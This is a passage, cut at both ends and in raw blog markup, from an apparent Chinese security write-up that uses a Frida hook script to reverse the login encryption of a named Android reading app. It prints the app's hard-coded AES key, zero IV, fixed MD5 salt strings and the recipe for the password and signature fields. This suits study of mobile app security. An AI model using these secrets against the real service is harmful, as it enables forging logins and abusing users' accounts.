rSAPublicKeySpec.$init.overload('java.math.BigInteger','java.math.BigInteger').implementation = function (a,b) &#123;</span></span><br><span class="line"><span class="string">        showStacks();</span></span><br><span class="line"><span class="string">        var result = this.$init(a,b);</span></span><br><span class="line"><span class="string">        send("======================================");</span></span><br><span class="line"><span class="string">        //send("RSA密钥:" + bytesToBase64(a));</span></span><br><span class="line"><span class="string">        send("RSA密钥N:" + a.toString(16));</span></span><br><span class="line"><span class="string">        send("RSA密钥E:" + b.toString(16));</span></span><br><span class="line"><span class="string">        return result;</span></span><br><span class="line"><span class="string">    &#125;</span></span><br><span class="line"><span class="string">&#125;);</span></span><br><span class="line"><span class="string">"""</span>;</span><br><span class="line"> </span><br><span class="line">fw = open(sys.argv[<span class="number">1</span>],<span class="string">'w+'</span>,encoding=<span class="string">'utf-8'</span>)</span><br><span class="line"> </span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">message</span><span class="params">(message, data)</span>:</span></span><br><span class="line">    <span class="keyword">if</span> message[<span class="string">"type"</span>] == <span class="string">'send'</span>:</span><br><span class="line">        print(<span class="string">u"[*] &#123;0&#125;"</span>.format(message[<span class="string">'payload'</span>]))</span><br><span class="line">        fw.write(<span class="string">u"[*] &#123;0&#125;\n"</span>.format(message[<span class="string">'payload'</span>]))</span><br><span class="line">        fw.flush()</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        print(message)</span><br><span class="line"> </span><br><span class="line">process = frida.get_remote_device().attach(sys.argv[<span class="number">1</span>])</span><br><span class="line">script= process.create_script(jsCode)</span><br><span class="line">script.on(<span class="string">"message"</span>, message)</span><br><span class="line">script.load()</span><br><span class="line">sys.stdin.read()</span><br></pre></td></tr></table></figure><p><code>python frida-hook.py com.faloo.BookReader4Android</code>脚本加上包名，即可hook所有原生方法。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1578403900989.png" alt="1578403900989"></p><p>如图某APP登录处，从<code>burp</code>里的流量记录，流量被加密了，在hook脚本中也打印了该段加密数据。</p><p>该脚本会在同目录下生成同包名的文件。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br></pre></td><td class="code"><pre><span class="line">[*] ======================================</span><br><span class="line">[*] 算法名：AES|Dec密钥:DD240BF148903189BF8DAE0C220C9591</span><br><span class="line">[*] 算法名：AES|Hex密钥:4444323430424631343839303331383942463844414530433232304339353931</span><br><span class="line">[*] java.lang.Exception</span><br><span class="line">at javax.crypto.Cipher.getInstance(Native Method)</span><br><span class="line">at com.faloo.util.AES.encrypt(Proguard:211)</span><br><span class="line">at com.faloo.util.EncryptUtil._e18(Native Method)</span><br><span class="line">at com.faloo.util.EncryptUtil.getAESEncrypt(Proguard:150)</span><br><span class="line">at com.faloo.network.module.b.a(Proguard:49)</span><br><span class="line">at com.faloo.network.util.e.a(Proguard:174)</span><br><span class="line">at com.faloo.network.service.a.c.a(Proguard:141)</span><br><span class="line">at com.faloo.app.activity.LoginPageActivity$13.a(Proguard:941)</span><br><span class="line">at io.reactivex.internal.operators.observable.ObservableCreate.b(Proguard:40)</span><br><span class="line">at io.reactivex.e.a(Proguard:11194)</span><br><span class="line">at io.reactivex.internal.operators.observable.ObservableSubscribeOn$a.run(Proguard:96)</span><br><span class="line">at io.reactivex.k$a.run(Proguard:463)</span><br><span class="line">at io.reactivex.internal.schedulers.ScheduledRunnable.run(Proguard:66)</span><br><span class="line">at io.reactivex.internal.schedulers.ScheduledRunnable.call(Proguard:57)</span><br><span class="line">at java.util.concurrent.FutureTask.run(FutureTask.java:237)</span><br><span class="line">at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.access$201(ScheduledThreadPoolExecutor.java:152)</span><br><span class="line">at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.run(ScheduledThreadPoolExecutor.java:265)</span><br><span class="line">at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1112)</span><br><span class="line">at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:587)</span><br><span class="line">at java.lang.Thread.run(Thread.java:818)</span><br><span class="line"></span><br><span class="line">[*] ======================================</span><br><span class="line">[*] 模式填充:AES/CBC/PKCS5Padding</span><br><span class="line">[*] java.lang.Exception</span><br><span class="line">at javax.crypto.spec.IvParameterSpec.&lt;init&gt;(Native Method)</span><br><span class="line">at com.faloo.util.AES.encrypt(Proguard:212)</span><br><span class="line">at com.faloo.util.EncryptUtil._e18(Native Method)</span><br><span class="line">at com.faloo.util.EncryptUtil.getAESEncrypt(Proguard:150)</span><br><span class="line">at com.faloo.network.module.b.a(Proguard:49)</span><br><span class="line">at com.faloo.network.util.e.a(Proguard:174)</span><br><span class="line">at com.faloo.network.service.a.c.a(Proguard:141)</span><br><span class="line">at com.faloo.app.activity.LoginPageActivity$13.a(Proguard:941)</span><br><span class="line">at io.reactivex.internal.operators.observable.ObservableCreate.b(Proguard:40)</span><br><span class="line">at io.reactivex.e.a(Proguard:11194)</span><br><span class="line">at io.reactivex.internal.operators.observable.ObservableSubscribeOn$a.run(Proguard:96)</span><br><span class="line">at io.reactivex.k$a.run(Proguard:463)</span><br><span class="line">at io.reactivex.internal.schedulers.ScheduledRunnable.run(Proguard:66)</span><br><span class="line">at io.reactivex.internal.schedulers.ScheduledRunnable.call(Proguard:57)</span><br><span class="line">at java.util.concurrent.FutureTask.run(FutureTask.java:237)</span><br><span class="line">at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.access$201(ScheduledThreadPoolExecutor.java:152)</span><br><span class="line">at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.run(ScheduledThreadPoolExecutor.java:265)</span><br><span class="line">at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1112)</span><br><span class="line">at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:587)</span><br><span class="line">at java.lang.Thread.run(Thread.java:818)</span><br><span class="line"></span><br><span class="line">[*] ======================================</span><br><span class="line">[*] iv向量:                </span><br><span class="line">[*] iv向量(hex):00000000000000000000000000000000</span><br><span class="line">[*] java.lang.Exception</span><br><span class="line">at javax.crypto.Cipher.doFinal(Native Method)</span><br><span class="line">at com.faloo.util.AES.encrypt(Proguard:213)</span><br><span class="line">at com.faloo.util.EncryptUtil._e18(Native Method)</span><br><span class="line">at com.faloo.util.EncryptUtil.getAESEncrypt(Proguard:150)</span><br><span class="line">at com.faloo.network.module.b.a(Proguard:49)</span><br><span class="line">at com.faloo.network.util.e.a(Proguard:174)</span><br><span class="line">at com.faloo.network.service.a.c.a(Proguard:141)</span><br><span class="line">at com.faloo.app.activity.LoginPageActivity$13.a(Proguard:941)</span><br><span class="line">at io.reactivex.internal.operators.observable.ObservableCreate.b(Proguard:40)</span><br><span class="line">at io.reactivex.e.a(Proguard:11194)</span><br><span class="line">at io.reactivex.internal.operators.observable.ObservableSubscribeOn$a.run(Proguard:96)</span><br><span class="line">at io.reactivex.k$a.run(Proguard:463)</span><br><span class="line">at io.reactivex.internal.schedulers.ScheduledRunnable.run(Proguard:66)</span><br><span class="line">at io.reactivex.internal.schedulers.ScheduledRunnable.call(Proguard:57)</span><br><span class="line">at java.util.concurrent.FutureTask.run(FutureTask.java:237)</span><br><span class="line">at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.access$201(ScheduledThreadPoolExecutor.java:152)</span><br><span class="line">at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.run(ScheduledThreadPoolExecutor.java:265)</span><br><span class="line">at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1112)</span><br><span class="line">at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:587)</span><br><span class="line">at java.lang.Thread.run(Thread.java:818)</span><br><span class="line"></span><br><span class="line">[*] ======================================</span><br><span class="line">[*] doFinal参数:num=0&amp;userid=1388888888&amp;Password=9c9c5f3bff756cf5395265b6c5f0d8f0&amp;tid=2&amp;ts=1578400865589&amp;nonce=fb4f89a9464e3a318111b337f92a9f1c&amp;resign=e8ca11ce1d27aa18ed6840617b8cbcf7&amp;pwdcode=YTEyMzQ1Ng==</span><br><span class="line">&amp;time=2020-01-07 21:31:33&amp;wt=1&amp;uuid=77a0332f1ca14daf9337f941bcc86e70&amp;appversion=3.4.8&amp;Type=Android&amp;xp=0</span><br><span class="line">[*] doFinal结果(hex):5a2439af1041cdd1bd1df38a9d6107932190b83cf6be7610cc54767ee4c97bb6236dc4e9d4b00e7408b9add01d8f9423eebd8d75386c20c1c84f8751104f50c9408f2b28af82d3eab9c56b442984c399d65581bdf68815dea6430166767e8538ba7349846e87ed1322b79066e7dac527587c0c7d9950046e63a87af64ce479e5113fcdfe3f35d0a40f8bdc917142d943ad0224bf0315c967fb969abb2178a1c764e311c67aaaebd6d69362a7fdf2bb64040db54443572fa897cd1733ef9dcd4733a35881083082ebdd2cc41a8d169de824b621e73445b3a5004fccd4b091095f0f2c2efc87116f82723c6e59c7c379c2a0eeeecb6c0deefdda2b1581b5a0e56c7ba7f1eaca8f59acae5a2e5c24d5dc72736a1fc1c0cb7e68336b3365ad250e00f89ba09971403c2ed265a2cd62a9fdc4</span><br><span class="line">[*] doFinal结果(base64):WiQ5rxBBzdG9HfOKnWEHkyGQuDz2vnYQzFR2fuTJe7YjbcTp1LAOdAi5rdAdj5Qj7r2NdThsIMHIT4dREE9QyUCPKyivgtPqucVrRCmEw5nWVYG99ogV3qZDAWZ2foU4unNJhG6H7RMit5Bm59rFJ1h8DH2ZUARuY6h69kzkeeURP83+PzXQpA+L3JFxQtlDrQIkvwMVyWf7lpq7IXihx2TjEcZ6quvW1pNip/3yu2QEDbVEQ1cvqJfNFzPvnc1HM6NYgQgwguvdLMQajRad6CS2Iec0RbOlAE/M1LCRCV8PLC78hxFvgnI8blnHw3nCoO7uy2wN7v3aKxWBtaDlbHun8erKj1msrlouXCTV3HJzah/BwMt+aDNrM2WtJQ4A+JugmXFAPC7SZaLNYqn9xA==</span><br></pre></td></tr></table></figure><p>如下数据是最终加密的结果，即发给服务器的数据。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">WiQ5rxBBzdG9HfOKnWEHkyGQuDz2vnYQzFR2fuTJe7YjbcTp1LAOdAi5rdAdj5Qj7r2NdThsIMHIT4dREE9QyUCPKyivgtPqucVrRCmEw5nWVYG99ogV3qZDAWZ2foU4unNJhG6H7RMit5Bm59rFJ1h8DH2ZUARuY6h69kzkeeURP83+PzXQpA+L3JFxQtlDrQIkvwMVyWf7lpq7IXihx2TjEcZ6quvW1pNip/3yu2QEDbVEQ1cvqJfNFzPvnc1HM6NYgQgwguvdLMQajRad6CS2Iec0RbOlAE/M1LCRCV8PLC78hxFvgnI8blnHw3nCoO7uy2wN7v3aKxWBtaDlbHun8erKj1msrlouXCTV3HJzah/BwMt+aDNrM2WtJQ4A+JugmXFAPC7SZaLNYqn9xA==</span><br></pre></td></tr></table></figure><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1578407350853.png" alt="1578407350853"></p><p>这里hook到了加密算法和密钥</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">[*] 算法名：AES|Dec密钥:DD240BF148903189BF8DAE0C220C9591</span><br><span class="line">[*] 算法名：AES|Hex密钥:4444323430424631343839303331383942463844414530433232304339353931</span><br></pre></td></tr></table></figure><p>偏移模式</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">模式填充:AES/CBC/PKCS5Padding</span><br></pre></td></tr></table></figure><p>iv向量</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">iv向量(hex):00000000000000000000000000000000</span><br></pre></td></tr></table></figure><h4><span id="password加密过程分析">Password加密过程分析</span></h4><p>输出中可以看到其加密之前的数据为</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">num=0&amp;userid=1388888888&amp;Password=9c9c5f3bff756cf5395265b6c5f0d8f0&amp;tid=2&amp;ts=1578400865589&amp;nonce=fb4f89a9464e3a318111b337f92a9f1c&amp;resign=e8ca11ce1d27aa18ed6840617b8cbcf7&amp;pwdcode=YTEyMzQ1Ng==</span><br><span class="line">&amp;time=2020-01-07 21:31:33&amp;wt=1&amp;uuid=77a0332f1ca14daf9337f941bcc86e70&amp;appversion=3.4.8&amp;Type=Android&amp;xp=0</span><br></pre></td></tr></table></figure><p>数据中userid为用户名，Password为密码，这里的密码是密文<code>9c9c5f3bff756cf5395265b6c5f0d8f0</code>，这里并不知道是什么密文。此密文并非输入的密码的md5值。在输出中我们可以直接搜索这一段密文。</p><p>搜索到<code>9c9c5f3bff756cf5395265b6c5f0d8f0</code>为如下输出结果。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line">[*] ======================================</span><br><span class="line">[*] update:@345Kie(873_dfbKe&gt;d3&lt;.d23432=d67d5e705490b20f8d8a3c8731d4c535</span><br><span class="line">[*] java.lang.Exception</span><br><span class="line">at java.security.MessageDigest.digest(Native Method)</span><br><span class="line">at java.security.MessageDigest.digest(MessageDigest.java:278)</span><br><span class="line">at java.security.MessageDigest.digest(Native Method)</span><br><span class="line">at com.faloo.network.util.MD5.MD5(Proguard:22)</span><br><span class="line">at com.faloo.util.EncryptUtil._e16(Native Method)</span><br><span class="line">at com.faloo.util.EncryptUtil.EncryptPwd(Proguard:23)</span><br><span class="line">at com.faloo.network.service.a.c.a(Proguard:119)</span><br><span class="line">at com.faloo.app.activity.LoginPageActivity$13.a(Proguard:941)</span><br><span class="line">at io.reactivex.internal.operators.observable.ObservableCreate.b(Proguard:40)</span><br><span class="line">at io.reactivex.e.a(Proguard:11194)</span><br><span class="line">at io.reactivex.internal.operators.observable.ObservableSubscribeOn$a.run(Proguard:96)</span><br><span class="line">at io.reactivex.k$a.run(Proguard:463)</span><br><span class="line">at io.reactivex.internal.schedulers.ScheduledRunnable.run(Proguard:66)</span><br><span class="line">at io.reactivex.internal.schedulers.ScheduledRunnable.call(Proguard:57)</span><br><span class="line">at java.util.concurrent.FutureTask.run(FutureTask.java:237)</span><br><span class="line">at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.access$201(ScheduledThreadPoolExecutor.java:152)</span><br><span class="line">at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.run(ScheduledThreadPoolExecutor.java:265)</span><br><span class="line">at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1112)</span><br><span class="line">at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:587)</span><br><span class="line">at java.lang.Thread.run(Thread.java:818)</span><br><span class="line"></span><br><span class="line">[*] ======================================</span><br><span class="line">[*] digest结果(hex):9c9c5f3bff756cf5395265b6c5f0d8f0</span><br><span class="line">[*] digest结果(base64):nJxfO/91bPU5UmW2xfDY8A==</span><br><span class="line">[*] digest结果(hex):9c9c5f3bff756cf5395265b6c5f0d8f0</span><br><span class="line">[*] digest结果(base64):nJxfO/91bPU5UmW2xfDY8A==</span><br></pre></td></tr></table></figure><p>在这个过程中输入的为<code>@345Kie(873_dfbKe&gt;d3&lt;.d23432=d67d5e705490b20f8d8a3c8731d4c535</code>输出的<code>9c9c5f3bff756cf5395265b6c5f0d8f0</code></p><p>通过md5加密对比如下图，发现此过程为md5加密过程。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1578404071511.png" alt="1578404071511"></p><p><code>@345Kie(873_dfbKe&gt;d3&lt;.d23432=d67d5e705490b20f8d8a3c8731d4c535</code>中，前一段<code>@345Kie(873_dfbKe&gt;d3&lt;.d23432=</code>并没有搜索到，可能为固定值拼接，通过多此测试发现确实为固定值拼接。故直接搜索后32位<code>d67d5e705490b20f8d8a3c8731d4c535</code>跟到如下输出过程。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line">[*] ======================================</span><br><span class="line">[*] update:EW234@![#$&amp;]*&#123;,OP&#125;Kd^w349Op+-32_a1234561578400865589</span><br><span class="line">[*] java.lang.Exception</span><br><span class="line">at java.security.MessageDigest.digest(Native Method)</span><br><span class="line">at java.security.MessageDigest.digest(MessageDigest.java:278)</span><br><span class="line">at java.security.MessageDigest.digest(Native Method)</span><br><span class="line">at com.faloo.network.util.MD5.MD5(Proguard:22)</span><br><span class="line">at com.faloo.util.EncryptUtil._e16(Native Method)</span><br><span class="line">at com.faloo.util.EncryptUtil.EncryptPwd(Proguard:23)</span><br><span class="line">at com.faloo.network.service.a.c.a(Proguard:119)</span><br><span class="line">at com.faloo.app.activity.LoginPageActivity$13.a(Proguard:941)</span><br><span class="line">at io.reactivex.internal.operators.observable.ObservableCreate.b(Proguard:40)</span><br><span class="line">at io.reactivex.e.a(Proguard:11194)</span><br><span class="line">at io.reactivex.internal.operators.observable.ObservableSubscribeOn$a.run(Proguard:96)</span><br><span class="line">at io.reactivex.k$a.run(Proguard:463)</span><br><span class="line">at io.reactivex.internal.schedulers.ScheduledRunnable.run(Proguard:66)</span><br><span class="line">at io.reactivex.internal.schedulers.ScheduledRunnable.call(Proguard:57)</span><br><span class="line">at java.util.concurrent.FutureTask.run(FutureTask.java:237)</span><br><span class="line">at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.access$201(ScheduledThreadPoolExecutor.java:152)</span><br><span class="line">at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.run(ScheduledThreadPoolExecutor.java:265)</span><br><span class="line">at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1112)</span><br><span class="line">at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:587)</span><br><span class="line">at java.lang.Thread.run(Thread.java:818)</span><br><span class="line"></span><br><span class="line">[*] ======================================</span><br><span class="line">[*] digest结果(hex):d67d5e705490b20f8d8a3c8731d4c535</span><br><span class="line">[*] digest结果(base64):1n1ecFSQsg+NijyHMdTFNQ==</span><br><span class="line">[*] digest结果(hex):d67d5e705490b20f8d8a3c8731d4c535</span><br><span class="line">[*] digest结果(base64):1n1ecFSQsg+NijyHMdTFNQ==</span><br></pre></td></tr></table></figure><p>如上输入为<code>EW234@![#$&amp;]*{,OP}Kd^w349Op+-32_a1234561578400865589</code>输出为<code>d67d5e705490b20f8d8a3c8731d4c535</code>。这里<code>EW234@![#$&amp;]*{,OP}Kd^w349Op+-32_</code>同样为固定值，<code>a123456</code>为我们输入的密码，<code>1578400865589</code>为时间戳。此过程为MD5加密</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1578404464976.png" alt="1578404464976"></p><p>至此我们可以获取到</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">num=0&amp;userid=1388888888&amp;Password=9c9c5f3bff756cf5395265b6c5f0d8f0&amp;tid=2&amp;ts=1578400865589&amp;nonce=fb4f89a9464e3a318111b337f92a9f1c&amp;resign=e8ca11ce1d27aa18ed6840617b8cbcf7&amp;pwdcode=YTEyMzQ1Ng==</span><br><span class="line">&amp;time=2020-01-07 21:31:33&amp;wt=1&amp;uuid=77a0332f1ca14daf9337f941bcc86e70&amp;appversion=3.4.8&amp;Type=Android&amp;xp=0</span><br></pre></td></tr></table></figure><p>aes加密前的数据中password的加密过程：</p><p>大致流程为：</p><ol><li>string1 = <code>EW234@![#$&amp;]*{,OP}Kd^w349Op+-32_</code>+<code>密码</code>+时间戳，对string1进行md5加密</li><li>对md5(string1)前拼接@345Kie(873_dfbKe&gt;d3&lt;.d23432=，再进行一次MD5加密得到最后的password加密值。</li></ol><h4><span id="once加密过程分析">once加密过程分析</span></h4><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">num=0&amp;userid=1388888888&amp;Password=9c9c5f3bff756cf5395265b6c5f0d8f0&amp;tid=2&amp;ts=1578400865589&amp;nonce=fb4f89a9464e3a318111b337f92a9f1c&amp;resign=e8ca11ce1d27aa18ed6840617b8cbcf7&amp;pwdcode=YTEyMzQ1Ng==</span><br><span class="line">&amp;time=2020-01-07 21:31:33&amp;wt=1&amp;uuid=77a0332f1ca14daf9337f941bcc86e70&amp;appversion=3.4.8&amp;Type=Android&amp;xp=0</span><br></pre></td></tr></table></figure><p>如上数据中的ts为时间戳即加密用到的时间戳，客户端将此时间戳发给服务端，因为在密码加密中用到了这个时间戳，所以服务器进行密码对比的时候也要用到这个时间戳，所以这个时间戳是一一对应的。</p><p>once值<code>fb4f89a9464e3a318111b337f92a9f1c</code>同样的方法去搜索</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">[*] update:1578400865530</span><br><span class="line">[*] java.lang.Exception</span><br><span class="line">at java.security.MessageDigest.digest(Native Method)</span><br><span class="line">at org.faloo.app.pay.a.a(Proguard:40)</span><br><span class="line">at com.faloo.app.activity.LoginPageActivity.e(Proguard:483)</span><br><span class="line">at com.faloo.app.activity.LoginPageActivity.b(Proguard:111)</span><br><span class="line">at com.faloo.app.activity.LoginPageActivity$3.a(Proguard:531)</span><br><span class="line">at com.faloo.app.activity.LoginPageActivity$3.onNext(Proguard:517)</span><br><span class="line">at io.reactivex.internal.operators.observable.ObservableObserveOn$ObserveOnObserver.drainNormal(Proguard:200)</span><br><span class="line">at io.reactivex.internal.operators.observable.ObservableObserveOn$ObserveOnObserver.run(Proguard:252)</span><br><span class="line">at io.reactivex.android.b.b$b.run(Proguard:109)</span><br><span class="line">at android.os.Handler.handleCallback(Handler.java:739)</span><br><span class="line">at android.os.Handler.dispatchMessage(Handler.java:95)</span><br><span class="line">at android.os.Looper.loop(Looper.java:135)</span><br><span class="line">at android.app.ActivityThread.main(ActivityThread.java:5293)</span><br><span class="line">at java.lang.reflect.Method.invoke(Native Method)</span><br><span class="line">at java.lang.reflect.Method.invoke(Method.java:372)</span><br><span class="line">at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:903)</span><br><span class="line">at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:698)</span><br><span class="line"></span><br><span class="line">[*] ======================================</span><br><span class="line">[*] digest结果(hex):fb4f89a9464e3a318111b337f92a9f1c</span><br><span class="line">[*] digest结果(base64):+0+JqUZOOjGBEbM3+SqfHA==</span><br></pre></td></tr></table></figure><p>得到如上过程，输入<code>1578400865530</code>输出once值。同样为md5加密。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1578404968965.png" alt="1578404968965"></p><p>此时间戳并非在加密过程中用到，可能在后端并未做校验。</p><h4><span id="resign加密过程分析">resign加密过程分析</span></h4><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">num=0&amp;userid=1388888888&amp;Password=9c9c5f3bff756cf5395265b6c5f0d8f0&amp;tid=2&amp;ts=1578400865589&amp;nonce=fb4f89a9464e3a318111b337f92a9f1c&amp;resign=e8ca11ce1d27aa18ed6840617b8cbcf7&amp;pwdcode=YTEyMzQ1Ng==</span><br><span class="line">&amp;time=2020-01-07 21:31:33&amp;wt=1&amp;uuid=77a0332f1ca14daf9337f941bcc86e70&amp;appversion=3.4.8&amp;Type=Android&amp;xp=0</span><br></pre></td></tr></table></figure><p>这个数据中还有一个<code>e8ca11ce1d27aa18ed6840617b8cbcf7</code>为resign签名值。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line">[*] ======================================</span><br><span class="line">[*] update:a1f*(DV&lt;&gt;ME29p08adsfKQ@N&gt;FEP*(F&amp;G)&amp;B)R@PVDbvnTPFPSDFQ&gt;QM@o9i8t5P_)(SGB?9c9c5f3bff756cf5395265b6c5f0d8f0fb4f89a9464e3a318111b337f92a9f1c</span><br><span class="line">[*] java.lang.Exception</span><br><span class="line">at java.security.MessageDigest.digest(Native Method)</span><br><span class="line">at java.security.MessageDigest.digest(MessageDigest.java:278)</span><br><span class="line">at java.security.MessageDigest.digest(Native Method)</span><br><span class="line">at com.faloo.network.util.MD5.MD5(Proguard:22)</span><br><span class="line">at com.faloo.util.EncryptUtil._e14(Native Method)</span><br><span class="line">at com.faloo.util.EncryptUtil.EncryptRePwd(Proguard:46)</span><br><span class="line">at com.faloo.network.service.a.c.a(Proguard:120)</span><br><span class="line">at com.faloo.app.activity.LoginPageActivity$13.a(Proguard:941)</span><br><span class="line">at io.reactivex.internal.operators.observable.ObservableCreate.b(Proguard:40)</span><br><span class="line">at io.reactivex.e.a(Proguard:11194)</span><br><span class="line">at io.reactivex.internal.operators.observable.ObservableSubscribeOn$a.run(Proguard:96)</span><br><span class="line">at io.reactivex.k$a.run(Proguard:463)</span><br><span class="line">at io.reactivex.internal.schedulers.ScheduledRunnable.run(Proguard:66)</span><br><span class="line">at io.reactivex.internal.schedulers.ScheduledRunnable.call(Proguard:57)</span><br><span class="line">at java.util.concurrent.FutureTask.run(FutureTask.java:237)</span><br><span class="line">at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.access$201(ScheduledThreadPoolExecutor.java:152)</span><br><span 